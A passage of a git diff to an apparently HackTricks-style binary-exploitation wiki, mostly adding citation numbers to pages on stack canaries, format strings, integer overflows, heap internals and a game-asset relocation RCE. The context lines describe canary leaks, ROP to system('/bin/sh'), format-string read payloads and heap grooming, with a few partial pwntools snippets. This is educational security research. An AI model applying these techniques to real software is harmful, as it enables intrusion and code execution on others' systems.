+- [2] [HTB Robot Factory - Canaries and Threads (7rocky)](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+- [3] [Master Canary Forging - Yuki Koike (CODE BLUE 2015)](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index b886dd25a27..a5113ac4c9c 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -15,13 +15,13 @@ Obviously, this tactic is very **restricted** as the attacker needs to be able t
**CTF examples:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
+ - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`[[1]](#references)
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
+ - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)[[2]](#references)
## Arbitrary Read
-With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
+With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary.[[3]](#references) Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
{{#ref}}
@@ -29,7 +29,14 @@ With an **arbitrary read** like the one provided by format **strings** it might
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- - This challenge abuses in a very simple way a format string to read the canary from the stack
+ - This challenge abuses in a very simple way a format string to read the canary from the stack[[4]](#references)
+
+## References
+
+- [1] [Nightmare: CSAW Quals'17 SVC](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
+- [2] [Nightmare: HXP'18 poorCanary](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
+- [3] [ir0nstone - Stack Canaries](https://ir0nstone.gitbook.io/notes/types/stack/canaries)
+- [4] [Nightmare: ASIS'17 marymorton](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-exploiting-problems-unsafe-relocation-fixups.md b/src/binary-exploitation/common-exploiting-problems-unsafe-relocation-fixups.md
index 8ef2605e7d8..7c8501a78be 100644
--- a/src/binary-exploitation/common-exploiting-problems-unsafe-relocation-fixups.md
+++ b/src/binary-exploitation/common-exploiting-problems-unsafe-relocation-fixups.md
@@ -36,7 +36,7 @@ int *__cdecl GrannyGRNFixUp_0(DWORD RelocationCount,
-`SectionNumber` is never range-checked and `SectionOffset` is never validated against the current section size. Crafting relocation entries with negative offsets or oversized indices lets you walk outside the section you control and stomp allocator metadata such as the section pointer array itself.
+`SectionNumber` is never range-checked and `SectionOffset` is never validated against the current section size. Crafting relocation entries with negative offsets or oversized indices lets you walk outside the section you control and stomp allocator metadata such as the section pointer array itself.[[1]](#references)
## Stage 1 – Writing backwards into loader metadata
@@ -54,13 +54,13 @@ gives **n = 2720** sections. A relocation entry with `SectionOffset = -0x3FF0` (
## Stage 2 – Deterministic heap layout on Windows 10
-Windows 10 NT Heap routes allocations **≤ RtlpLargestLfhBlock (0x4000)** to the randomized LFH and larger ones to the deterministic backend allocator. By keeping the `GrannyFile` metadata slightly above that threshold (using the 2720 sections trick) and preloading several malicious `.gr2` assets, you can make:
+Windows 10 NT Heap routes allocations **≤ RtlpLargestLfhBlock (0x4000)** to the randomized LFH and larger ones to the deterministic backend allocator.[[2]](#references) By keeping the `GrannyFile` metadata slightly above that threshold (using the 2720 sections trick) and preloading several malicious `.gr2` assets, you can make:
- Allocation #1 (metadata + section pointer arrays) land in a >0x4000 backend chunk.
- Allocation #2 (section 0 contents) land immediately after allocation #1.
- Allocation #3 (section 1 contents) land right after allocation #2, giving you a predictable target for subsequent relocations.
-Process Monitor confirmed that assets are streamed on demand, so repeatedly requesting crafted units/buildings is enough to “prime” the heap layout without touching the executable image.
+Process Monitor confirmed that assets are streamed on demand, so repeatedly requesting crafted units/buildings is enough to “prime” the heap layout without touching the executable image.[[1]](#references)
## Stage 3 – Converting the primitive into RCE
@@ -80,11 +80,11 @@ Because both `granny2.dll` and the injected `.gr2` buffers reside at stable addr
- repeatedly loading the malicious asset to fill backend holes.
- Use a two-stage relocation table (first to retarget `SectionArray`, second to spray writes) and overwrite function pointers that will fire during normal rendering (allocator callbacks, virtual tables, animation dispatchers, etc.).
-Once you gain an arbitrary file write (e.g., via the path traversal in the multiplayer save transfer), repackaging RDA archives with the crafted `.gr2` gives you a clean delivery vector that is automatically decompressed by remote clients.
+Once you gain an arbitrary file write (e.g., via the path traversal in the multiplayer save transfer), repackaging RDA archives with the crafted `.gr2` gives you a clean delivery vector that is automatically decompressed by remote clients.[[1]](#references)
## References
-- [Synacktiv – Exploiting Anno 1404](https://www.synacktiv.com/publications/exploiting-anno-1404.html)
-- [W. Yason – Windows 10 Segment Heap Internals (BlackHat USA 2016)](https://blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals-wp.pdf)
+- [1] [Synacktiv – Exploiting Anno 1404](https://www.synacktiv.com/publications/exploiting-anno-1404.html)
+- [2] [W. Yason – Windows 10 Segment Heap Internals (BlackHat USA 2016)](https://blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals-wp.pdf)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md
index 9de78348582..a12c29cb721 100644
--- a/src/binary-exploitation/common-exploiting-problems.md
+++ b/src/binary-exploitation/common-exploiting-problems.md
@@ -8,7 +8,7 @@ When sending an exploit to a remote server that calls **`system('/bin/sh')`** fo
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
-[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
+[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):[[1]](#references)
```python
from pwn import *
@@ -33,7 +33,7 @@ Note that socat already transfers **`stdin`** and **`stdout`** to the socket. Ho
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
-**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
+**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**[[2]](#references)
## Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
@@ -151,7 +151,7 @@ int main(void) {
7. **Run AFL with the crash-as-success oracle.** Any input that satisfies every semantic check and guesses the correct nine-byte suffix triggers the deliberate crash; those files land in `output/crashes` and can be replayed through the simple harness to recover the secret.
-This workflow lets you triage anti-debug-protected JNI validators quickly, leak secrets when needed, then fuzz only the meaningful bytes, all without touching the original APK.
+This workflow lets you triage anti-debug-protected JNI validators quickly, leak secrets when needed, then fuzz only the meaningful bytes, all without touching the original APK.[[3]](#references)
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
@@ -214,11 +214,11 @@ so the combined residue uniquely equals the 64-bit pointer to `kCFNull`. The Pro
3. **Residue extraction:** Converting the returned plist back to XML reveals the dictionary key ordering. A helper such as `extract-pointer.c` reads the object table, determines the index of the singleton `NSNull`, maps each dictionary pair back to its bucket residue, and solves the CRT system to recover the shared-cache pointer.
4. **Verification (optional):** Compiling a tiny Objective-C helper that prints `CFHash(kCFNull)` confirms the leaked value matches the real address.
-No memory safety bug is required—simply observing serialization order of pointer-keyed structures yields a remote ASLR bypass primitive.
+No memory safety bug is required—simply observing serialization order of pointer-keyed structures yields a remote ASLR bypass primitive.[[5]](#references)
## Kernel waiter cleanup confusion, stack-UAF reclaim & constrained tree-writes
-Some kernel bugs become exploitable because a cleanup helper assumes that **`current` owns the object being cleaned up**, but a later proxy path reuses that helper **on behalf of another task**. If rollback removes the waiter from a lock/tree but clears the blocked state on the wrong task, the real owner can keep a **dangling pointer to a stack object** that belonged to a previous syscall frame.
+Some kernel bugs become exploitable because a cleanup helper assumes that **`current` owns the object being cleaned up**, but a later proxy path reuses that helper **on behalf of another task**. If rollback removes the waiter from a lock/tree but clears the blocked state on the wrong task, the real owner can keep a **dangling pointer to a stack object** that belonged to a previous syscall frame.[[4]](#references)
### Proxy cleanup confusion in PI/futex style paths
@@ -323,10 +323,10 @@ common-exploiting-problems-unsafe-relocation-fixups.md
## References
-- [FD duplication exploit example](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit)
-- [Socat delete-character behaviour](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)
-- [FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library](https://hackmd.io/@sal/fuzzme-mobilehackinglab-ctf-writeup)
-- [IonStack Part II: GhostLock, a stack-UAF that has existed in ALL Linux distributions for 15 years](https://nebusec.ai/research/ionstack-part-2)
-- [Pointer leaks through pointer-keyed data structures (Project Zero)](https://projectzero.google/2025/09/pointer-leaks-through-pointer-keyed.html)
+- [1] [FD duplication exploit example](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit)
+- [2] [Socat delete-character behaviour](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)
+- [3] [FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library](https://hackmd.io/@sal/fuzzme-mobilehackinglab-ctf-writeup)
+- [4] [IonStack Part II: GhostLock, a stack-UAF that has existed in ALL Linux distributions for 15 years](https://nebusec.ai/research/ionstack-part-2)
+- [5] [Pointer leaks through pointer-keyed data structures (Project Zero)](https://projectzero.google/2025/09/pointer-leaks-through-pointer-keyed.html)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md
index 0d6b25be4a1..4ec882f1a74 100644
--- a/src/binary-exploitation/format-strings/README.md
+++ b/src/binary-exploitation/format-strings/README.md
@@ -107,7 +107,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
### Find offset
-To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
+To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.[[3]](#references)
@@ -149,7 +149,7 @@ for i in range(10):
Arbitrary reads can be useful to:
- **Dump** the **binary** from memory
-- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))[[3]](#references)
## **Arbitrary Write**
@@ -202,7 +202,7 @@ You can find a **template** to prepare a exploit for this kind of vulnerability
format-strings-template.md
{{#endref}}
-Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
+Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):[[9]](#references)
```python
from pwn import *
@@ -238,7 +238,7 @@ On Windows x64 the first four integer/pointer parameters are passed in registers
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
-Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
+Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.[[7]](#references)[[8]](#references)
Practical workflow:
@@ -265,24 +265,21 @@ Notes:
- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
- This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them.
-This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives.
+This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives.[[7]](#references)
-## Other Examples & References
+## References
-- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
-- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
-- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
-- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
+- [1] [ir0nstone - Format String](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
+- [2] [LiveOverflow - Format String Exploit and overwrite the Global Offset Table (bin 0x13)](https://www.youtube.com/watch?v=t1LH9D5cuK4)
+- [3] [CTF Recipes - Format String Data Leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
+- [4] [guyinatuxedo - pico18 echo](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
-- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
+- [5] [guyinatuxedo - backdoor17 bbpwn](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
-- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
+- [6] [guyinatuxedo - tw16 greeting](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
-
-
-## References
-
-- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
-- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
+- [7] [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
+- [8] [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
+- [9] [ir0nstone - GOT Overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
index 6d45e22b664..e940b8b8bba 100644
--- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
+++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
@@ -198,7 +198,7 @@ p.close()
### Automating the offset discovery
-When the stack layout changes on every run (full ASLR/PIE), bruteforcing offsets manually is slow. `pwntools` exposes `FmtStr` to automatically detect the argument index that reaches our controlled buffer. The lambda should return the program output after sending the candidate payload. It stops as soon as it can reliably corrupt/observe memory.
+When the stack layout changes on every run (full ASLR/PIE), bruteforcing offsets manually is slow. `pwntools` exposes `FmtStr` to automatically detect the argument index that reaches our controlled buffer. The lambda should return the program output after sending the candidate payload. It stops as soon as it can reliably corrupt/observe memory.[[1]](#references)
```python
from pwn import *
@@ -220,7 +220,7 @@ You can then reuse `offset` to build arbitrary read/write payloads with `fmtstr_
### PIE/libc leak then arbitrary read
-On modern binaries with PIE and ASLR, first leak any libc pointer (e.g. `__libc_start_main+243` or `setvbuf`), compute bases, then place your target address after the format string. This keeps the `%s` from being truncated by null bytes inside the pointer.
+On modern binaries with PIE and ASLR, first leak any libc pointer (e.g. `__libc_start_main+243` or `setvbuf`), compute bases, then place your target address after the format string. This keeps the `%s` from being truncated by null bytes inside the pointer.[[1]](#references)Leak libc and read arbitrary address
@@ -257,7 +257,7 @@ On **SysV x86_64**, variadic arguments are first consumed from the saved argumen
### Bounded `%s` leaks
-A raw `%s` stops at the first `\x00`, but you can still make the read much more reliable with a precision: `%.Ns` or `%m$.Ns`. This is useful to **avoid over-reading into unmapped pages**, to dump **non-line-oriented binary data**, and to probe **one byte at a time** when reconstructing structures.
+A raw `%s` stops at the first `\x00`, but you can still make the read much more reliable with a precision: `%.Ns` or `%m$.Ns`. This is useful to **avoid over-reading into unmapped pages**, to dump **non-line-oriented binary data**, and to probe **one byte at a time** when reconstructing structures.[[1]](#references)[[3]](#references)
```python
from pwn import *
@@ -273,7 +273,7 @@ The same trick also works as a **1-byte probe** with `%11$.1s`: if `START%11$.1s
### Reusable arbitrary-read primitive with `MemLeak` / `DynELF`
-When the vulnerable program is **loopable** (menu, daemon, persistent fork-server, etc.), wrap the `%s` primitive with `pwntools` `MemLeak`. Once you have any pointer into the main binary or libc, `DynELF` can use that arbitrary-read primitive to resolve symbols automatically instead of hardcoding offsets.
+When the vulnerable program is **loopable** (menu, daemon, persistent fork-server, etc.), wrap the `%s` primitive with `pwntools` `MemLeak`. Once you have any pointer into the main binary or libc, `DynELF` can use that arbitrary-read primitive to resolve symbols automatically instead of hardcoding offsets.[[1]](#references)[[2]](#references)
```python
from pwn import *
@@ -296,7 +296,8 @@ For the write stage after a successful leak, jump back to the generic [format-st
## References
-- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
-- [pwntools - pwnlib.memleak](https://docs.pwntools.com/en/stable/memleak.html)
-- [printf(3) Linux man page](https://man7.org/linux/man-pages/man3/printf.3.html)
+- [1] [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
+- [2] [pwntools - pwnlib.memleak](https://docs.pwntools.com/en/stable/memleak.html)
+- [3] [printf(3) Linux man page](https://man7.org/linux/man-pages/man3/printf.3.html)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md
index e2ca6ce60a1..226d707d66a 100644
--- a/src/binary-exploitation/integer-overflow-and-underflow.md
+++ b/src/binary-exploitation/integer-overflow-and-underflow.md
@@ -366,7 +366,7 @@ clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
### Allocator alignment rounding wrap → undersized chunk → heap overflow (Dolby UDC case)
-Some custom allocators round allocations up to alignment without re-checking for overflow. In the Dolby Unified Decoder (Pixel 9, CVE-2025-54957), attacker-controlled `emdf_payload_size` (decoded with an unbounded `variable_bits(8)` loop) is fed into `ddp_udc_int_evo_malloc`:
+Some custom allocators round allocations up to alignment without re-checking for overflow. In the Dolby Unified Decoder (Pixel 9, CVE-2025-54957), attacker-controlled `emdf_payload_size` (decoded with an unbounded `variable_bits(8)` loop) is fed into `ddp_udc_int_evo_malloc`:[[3]](#references)
```c
size_t total_size = alloc_size + extra;
@@ -393,21 +393,21 @@ Why exploitation is reliable in this pattern:
## Other Examples
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
+ - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection[[4]](#references)
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
+ - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:[[5]](#references)
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
+ - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections[[6]](#references)
## Go integer overflow detection with go-panikint
-Go wraps integers silently. [go-panikint](https://github.com/trailofbits/go-panikint) is a forked Go toolchain that injects SSA overflow checks so wrapped arithmetic immediately calls `runtime.panicoverflow()` (panic + stack trace).
+Go wraps integers silently. [go-panikint](https://github.com/trailofbits/go-panikint) is a forked Go toolchain that injects SSA overflow checks so wrapped arithmetic immediately calls `runtime.panicoverflow()` (panic + stack trace).[[1]](#references)[[2]](#references)
**Why use it**
@@ -432,16 +432,19 @@ Run this forked `go` binary for tests/fuzzing to surface overflows as panics.
**Real-world pattern**
-go-panikint revealed a Cosmos SDK `uint64` pagination overflow: `end := pageRequest.Offset + pageRequest.Limit` wrapped past `MaxUint64`, returning empty results. Instrumentation turned the silent wrap into a panic that fuzzers could minimize.
+go-panikint revealed a Cosmos SDK `uint64` pagination overflow: `end := pageRequest.Offset + pageRequest.Limit` wrapped past `MaxUint64`, returning empty results. Instrumentation turned the silent wrap into a panic that fuzzers could minimize.[[1]](#references)
## ARM64
-This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
+This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).[[6]](#references)
## References
-- [Detect Go’s silent arithmetic bugs with go-panikint](https://blog.trailofbits.com/2025/12/31/detect-gos-silent-arithmetic-bugs-with-go-panikint/)
-- [go-panikint (compiler fork)](https://github.com/trailofbits/go-panikint)
-- [Pixel 0-click – CVE-2025-54957 allocator wrap → heap overflow](https://projectzero.google/2026/01/pixel-0-click-part-1.html)
+- [1] [Detect Go’s silent arithmetic bugs with go-panikint](https://blog.trailofbits.com/2025/12/31/detect-gos-silent-arithmetic-bugs-with-go-panikint/)
+- [2] [go-panikint (compiler fork)](https://github.com/trailofbits/go-panikint)
+- [3] [Pixel 0-click – CVE-2025-54957 allocator wrap → heap overflow](https://projectzero.google/2026/01/pixel-0-click-part-1.html)
+- [4] [guyinatuxedo Nightmare – Integer overflow (int_overflow_post)](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
+- [5] [guyinatuxedo Nightmare – Integer exploitation puzzle](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
+- [6] [8ksec – ARM64 Reversing and Exploitation Part 8: Exploiting an Integer Overflow Vulnerability](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md
index b870d1424cf..b4fca7e91b4 100644
--- a/src/binary-exploitation/libc-heap/README.md
+++ b/src/binary-exploitation/libc-heap/README.md
@@ -29,7 +29,7 @@ Note that if the requested **memory passes a threshold**, **`mmap`** will be use
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
-To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
+To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.[[1]](#references)
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
@@ -37,7 +37,7 @@ Unlike the main arena, which expands using the `brk` system call, secondary aren
### Subheaps
-Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
+Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:[[1]](#references)
1. **Initial Heap vs. Subheaps**:
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
@@ -169,7 +169,7 @@ As commented previously, these chunks also have some metadata, very good represe
-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
+The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:[[1]](#references)
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
@@ -529,8 +529,8 @@ heap-memory-functions/heap-functions-security-checks.md
## musl mallocng exploitation notes (Alpine)
-- **Slab group/slot grooming for huge linear copies:** mallocng sizeclasses use mmap()'d groups whose slots are fully `munmap()`'d when empty. For long linear copies (~0x15555555 bytes), keep the span mapped (avoid holes from released groups) and place the victim allocation adjacent to the source slot.
-- **Cycling offset mitigation:** On slot reuse mallocng may advance the user-data start by `UNIT` (0x10) multiples when slack fits an extra 4-byte header. This shifts overwrite offsets (e.g., LSB pointer hits) unless you control reuse counts or stick to strides without slack (e.g., Lua `Table` objects at stride 0x50 show offset 0). Inspect offsets with muslheap’s `mchunkinfo`:
+- **Slab group/slot grooming for huge linear copies:** mallocng sizeclasses use mmap()'d groups whose slots are fully `munmap()`'d when empty. For long linear copies (~0x15555555 bytes), keep the span mapped (avoid holes from released groups) and place the victim allocation adjacent to the source slot.[[3]](#references)
+- **Cycling offset mitigation:** On slot reuse mallocng may advance the user-data start by `UNIT` (0x10) multiples when slack fits an extra 4-byte header. This shifts overwrite offsets (e.g., LSB pointer hits) unless you control reuse counts or stick to strides without slack (e.g., Lua `Table` objects at stride 0x50 show offset 0). Inspect offsets with muslheap’s `mchunkinfo`:[[3]](#references)[[5]](#references)
```gdb
pwndbg> mchunkinfo 0x7ffff7a94e40
@@ -538,8 +538,8 @@ pwndbg> mchunkinfo 0x7ffff7a94e40
... cycling offset : 0x1 (userdata --> 0x7ffff7a94e40)
```
-- **Prefer runtime-object corruption over allocator metadata:** mallocng mixes cookies/guarded out-of-band metadata, so target higher-level objects. In Redis’s Lua 5.1, `Table->array` points to an array of `TValue` tagged values; overwriting the LSB of a pointer in `TValue->value` (e.g., with the JSON terminator byte `0x22`) can pivot references without touching malloc metadata.
-- **Debugging stripped/static Lua on Alpine:** Build a matching Lua, list symbols with `readelf -Ws`, strip function symbols via `objcopy --strip-symbol` to expose struct layouts in GDB, then use Lua-aware pretty-printers (GdbLuaExtension for Lua 5.1) plus muslheap to check stride/reserved/cycling-offset values before triggering the overflow.
